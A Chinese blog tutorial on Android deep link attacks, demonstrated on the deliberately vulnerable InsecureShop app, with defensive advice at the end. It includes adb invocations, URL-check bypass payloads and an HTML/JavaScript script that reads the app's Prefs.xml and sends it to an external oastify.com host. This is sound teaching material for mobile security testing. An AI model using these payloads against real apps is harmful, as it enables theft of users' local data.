Android Deep Link 攻击面

简介: 目录结构 Deep Link介绍 (https //blog.gm7.org/个人知识库/04.移动安全/07.高阶技巧/01.Android Deep Link 攻击面.html deep-link介绍) - 概念 (https //blog.gm7.org/个人知识库/04.移动安全/07.高阶技巧/01.Android Deep Link 攻击面.html 概念) - 应用场

目录结构

Deep Link介绍

提取并调用APP中的Deep Link

攻击面分析

防护建议

参考链接

1.1. Deep Link介绍

1.1.1. 概念

Android Deep Link(深层链接) 是一种特殊的链接协议,主要用于在应用程序之间导航和交互,使用 Deep Link 可以从一个APP跳转到另一个APP中相应的页面,实现APP间的无缝跳转。

举个大家熟悉的例子,浏览器打开知乎时,会提示“打开App”,点击后,如果安装过知乎则会直接跳到应用的对应页面,如果没安装则跳转到下载应用页。

image-20230508下午22700233

不过需要注意的是,上面的 *没安装则跳转到下载应用页*Deferred deeplink(延迟深度链接),他和基础的deeplink相比,如果用户没有下载APP,则引导用户下载安装该APP,且在安装启动后立即跳转到指定的页面或功能中。

Deferred Deep Link 可以提高用户的体验和应用程序的转化率,因为它可以让用户直接跳转到指定的页面或功能,而无需手动查找。

1.1.2. 应用场景

  • 一键跳转: 在应用内部或应用外部直接跳转到指定页面或执行特定操作的功能。
  • 传参安装: 在应用市场或者推广渠道传递参数,以便在用户安装应用后,应用可以根据传递的参数自动进行初始化或者展示特定页面。
  • 分享闭环: 在应用内分享一个商品链接,用户点击链接可以直接跳转到商品详情页面。
  • 无码邀请: 在应用内点击邀请好友的按钮,可以生成一个唯一的邀请链接,并在邀请过程中跳转到应用内的注册页面。
  • 渠道追踪: 通过deeplink跳转到应用市场,可以记录该用户从哪个推广渠道下载应用,并将该信息传递给应用后台进行数据统计和分析。

1.2. 提取并调用APP中的Deep Link

测试APP:https://github.com/hax0rgb/InsecureShop/releases

1.2.1. 方法一:从AndroidManifest中提取

AndroidManifest.xml中寻找android:scheme

deeplink

可以看出,使用insecureshop://com.insecureshop/可以启动com.insecureshop.WebViewActivity这个组件。

1.2.2. 方法二:使用MobSF

deeplink

1.2.3. 方法三:使用Frida

通过frida hook进行监听,js脚本如下

//Modified version of <https://codeshare.frida.re/@leolashkevych/android-deep-link-observer/>
//frida -U -p pid -l script.js
// Define a global object to store previously seen intents
var seenIntents = {};
Java.perform(function() {
    var Intent = Java.use("android.content.Intent");
    Intent.getData.implementation = function() {
        var action = this.getAction() !== null ? this.getAction().toString() : false;
        if (action) {
            // Create a unique key for the current intent by concatenating its action and data URI
            var key = action + '|' + (this.getData() !== null ? this.getData().toString() : '');
            // Check if this intent has been seen before
            if (seenIntents.hasOwnProperty(key)) {
                return this.getData();
            } else {
                // Mark this intent as seen by adding it to the global object
                seenIntents[key] = true;
                console.log("[*] Intent.getData() was called");
                console.log("[*] Activity: " + (this.getComponent() !== null ? this.getComponent().getClassName() : "unknown"));
                console.log("[*] Action: " + action);
                var uri = this.getData();
                if (uri !== null) {
                    console.log("\\n[*] Data");
                    uri.getScheme() && console.log("- Scheme:\\t" + uri.getScheme() + "://");
                    uri.getHost() && console.log("- Host:\\t\\t/" + uri.getHost());
                    uri.getQuery() && console.log("- Params:\\t" + uri.getQuery());
                    uri.getFragment() && console.log("- Fragment:\\t" + uri.getFragment());
                    console.log("\\n\\n");
                } else {
                    console.log("[-] No data supplied.");
                }
            }
        }
        return this.getData();
    }
});

hook

# 找到system的pid
frida-ps -U | grep system_server
# hook
frida -U -l deeplink.js -p 7309

hook

1.2.4. 方法四:网页

这个方法不是很好用,但是有助于在挖掘的时候发现一些deep link

还是以知乎为例,打开控制台,点击“打开APP”后,观察报错,就可以拿到对应的deep link。

error

1.2.5. 调用

一般为了方便,使用adb进行调用,命令如下:

adb shell am start -W -a android.intent.action.VIEW -d <deeplink>

也可以写一个html,然后让手机访问后点击调用(模拟真实的攻击环境)

<a href="<deeplink>">Click</a>

但是调用前,我们还需要拿到对应的路由和参数,跟踪到对应的组件中,分析如何构造,详见下方举例

analysis

1.3. 攻击面分析

还是需要根据具体情况具体分析,看自己可控的部分有哪些。

1.3.1. URL无验证

完全没有验证加载的URL地址。

分析如图:

  1. 如果路由是/web,则会进入else
  2. 从参数url中取值给data
  3. 通过webview加载data

analysis

所以利用调用的命令如下:

adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://blog.gm7.org/"

效果如下,成功打开了我的博客

open blog

1.3.2. 弱主机验证

验证了HOST,但可以被绕过。

分析如图:

  1. 路由不是/web但路由是/webview
  2. 从参数url中取值给queryParameter
  3. 判断queryParameter是否以insecureshopapp.com结尾的
  4. 如果是,就把url的值赋值给data
  5. 通过webview加载data

analysis

这里只是要求了结尾必须出现特定的字符串,所以很简单,如:

adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/webview?url=https://blog.gm7.org/?insecureshopapp.com"

就是常规的URL跳转绕过,可以用?,也可以用#,还可以用参数格式a=insecureshopapp.com等等。

raoguo

1.3.3. 窃取本地数据

在上面2个基础上进行深入利用, 但我感觉有点鸡肋,因为http协议无法跨域到file协议,就只能从file协议跨到file协议

上述2处其实都和URL跳转差不多,可以控制跳转到任意网站中,但这里由于是在手机客户端上执行的,所以也可以尝试通过file协议访问到手机本地的一些敏感文件,从而尝试窃取。

不过要窃取本地文件,有2个前置条件:

  1. setAllowUniversalAccessFromFileURLs(true):默认情况下,Android WebView不允许跨域访问本地文件系统,即getAllowUniversalAccessFromFileURLs()方法的返回值为false,如果要在WebView中允许跨域访问本地文件系统,则需要使用setAllowUniversalAccessFromFileURLs()方法来设置该选项为true
  2. setJavaScriptEnabled(true):默认情况下,WebView 不支持 JavaScript代码执行,如果想要支持js代码,就需要调用setJavaScriptEnabled(true)这个方法,开启js代码执行。

在漏洞环境中,这两个条件都是满足的,也就可以开始窃取了。

true


假设存在敏感文件:/data/data/com.insecureshop/shared_prefs/Prefs.xml

然后我们进行加载敏感文件:

adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/data/com.insecureshop/shared_prefs/Prefs.xml"

如下图,能访问到本地的文件。

info

但仅仅是这样还不够,因为只能访问到,不能说是窃取了,因此需要进一步通过js来获取数据。

编写html,将其保存为hello.html

 <script type="text/javascript">
        function theftFile(path, callback) {
          var req = new XMLHttpRequest();

          req.open("GET", "file://" + path, true);
          req.onload = function(e) {
            callback(req.responseText);
          }
          req.onerror = function(e) {
            callback(null);
          }
          req.send();
        }

        var file = "/data/data/com.insecureshop/shared_prefs/Prefs.xml";

        theftFile(file, function(contents) {
            location.href = "http://x42yrqsoq9fo74gv3bqtbfhfx63yrn.oastify.com/?data=" + encodeURIComponent(contents);
        });
    </script>

将其上传到可访问的目录下,然后通过webview来加载这个html

adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/data/com.insecureshop/shared_prefs/hello.html"

fileread

成功获取到了数据。

​ Note

这里只能从file协议到file协议才可以成功,如果从http协议到file协议,异常日志为:Cross origin requests are only supported for protocol schemes: http, data, chrome, https.

所以这里也是为什么认为利用比较鸡肋的地方。

1.3.4. 其他

弱主机验证-升级版

通过uri.getHost()获取host

 private boolean isValidUrl(String url) {
    Uri uri = Uri.parse(url);
    return "legitimate.com".equals(uri.getHost());
}

绕过payload,通过其他协议。

javascript://legitimate.com/%0aalert(1)
file://legitimate.com/sdcard/exploit.html
content://legitimate.com/

1.4. 防护建议

  • 对传入的内容进行检查清洗,根据业务要求设置白名单等。
  • 如果setJavaScriptEnabled设置为true,则要对加载的JS内容严格验证。
  • 尽可能的将如下函数的返回值设置为False

    • getAllowFileAccess
    • getAllowFileAccessFromFileURLs
    • getAllowUniversalAccessFromFileURLs

1.5. 参考链接

目录
相关文章
|
机器学习/深度学习 Linux KVM
Debian11安装KVM虚拟化并安装Centos
grep --color --perl-regexp 'vmx | svm' /proc/cpuinfo 首先检查其是否支持虚拟化. 分别用以下条命令查看
1410 0
Debian11安装KVM虚拟化并安装Centos
|
12月前
|
前端开发 JavaScript 测试技术
CSS3 动画效果对网站性能有什么影响?
CSS3动画效果在为网站带来丰富视觉体验的同时,也会对网站性能产生多方面的影响
419 58
|
7月前
|
人工智能 自然语言处理 Cloud Native
🚀Bolt.diy:五分钟免费搭建个人博客,开启你的数字创作之旅!(保姆级教程)
Bolt.diy 是 Bolt.new 的一个开源版本,它提供了更高的灵活性和可定制性。通过自然语言交互,它能够简化开发流程,并提供全栈开发支持,同时允许用户进行二次开发。它就像是你的数字创作伙伴,帮你把想法变成现实。在数字化时代,拥有一个个人博客不仅是一种展示自我的方式,更是一种记录生活、分享知识、连接世界的桥梁。通过阿里云的 Bolt.diy,我仅用五分钟就搭建了一个功能齐全、美观大方的个人博客,这让我深刻感受到了技术的力量和便捷性。
467 29
|
人工智能 自然语言处理 算法
人工智能与创意写作:未来文学的新篇章
本文探讨了人工智能在创意写作领域的应用及其对传统文学创作的影响。通过分析AI技术如何辅助作者生成文本、提升创作效率以及开拓新的文学形式,我们揭示了AI与人类作家之间的协作关系,并讨论了这种合作对未来文学作品风格和内容的可能影响。同时,文章也考虑了AI技术在文学创作中可能带来的挑战和伦理问题,为读者提供了关于科技与艺术融合的深入思考。
501 5
|
10月前
|
设计模式
「全网最细 + 实战源码案例」设计模式——抽象工厂模式
抽象工厂模式是一种创建型设计模式,提供接口用于创建一系列相关或依赖的对象,无需指定具体类。它解决了产品族问题,管理和创建一组相关产品。结构上包括抽象工厂、具体工厂、抽象产品和具体产品。适用于创建相关对象、产品族固定但种类变化的场景。优点是分离接口与实现、管理产品族方便且扩展性好;缺点是产品族扩展困难且代码复杂度增加。通过配置文件和反射机制可进一步改进,使系统更灵活易扩展。
173 17
|
安全 API 数据安全/隐私保护
关于API安全设计5A原则
【6月更文挑战第1天】5A原则包括身份认证、授权、访问控制、可审计性和资产保护,是安全设计的核心要素。
|
12月前
|
弹性计算 监控 容灾
阿里云ECS提供强大的云上灾备解决方案,通过高可用基础设施、多样的数据备份方式及异地灾备服务,帮助企业实现业务的持续稳定运行
在数字化时代,企业对信息技术的依赖加深,确保业务连续性至关重要。阿里云ECS提供强大的云上灾备解决方案,通过高可用基础设施、多样的数据备份方式及异地灾备服务,帮助企业实现业务的持续稳定运行。无论是小型企业还是大型企业,都能从中受益,确保在面对各种风险时保持业务稳定。
245 4
|
负载均衡 Java 对象存储
负载均衡策略:Spring Cloud与Netflix OSS的最佳实践
负载均衡策略:Spring Cloud与Netflix OSS的最佳实践
181 2
|
JavaScript Windows
记一下 Windows11 安装与配置 node.js 的标准步骤
这篇文章记录了在Windows 11系统上安装和配置Node.js的步骤,包括安装Node.js、验证安装、配置npm、设置npm镜像加速、全局安装cnpm并配置镜像、解决TLS连接不安全警告的详细过程。
1661 0
|
JSON 数据格式 网络架构
技术心得:快手的小视频爬取
技术心得:快手的小视频爬取
721 1
下一篇
开通oss服务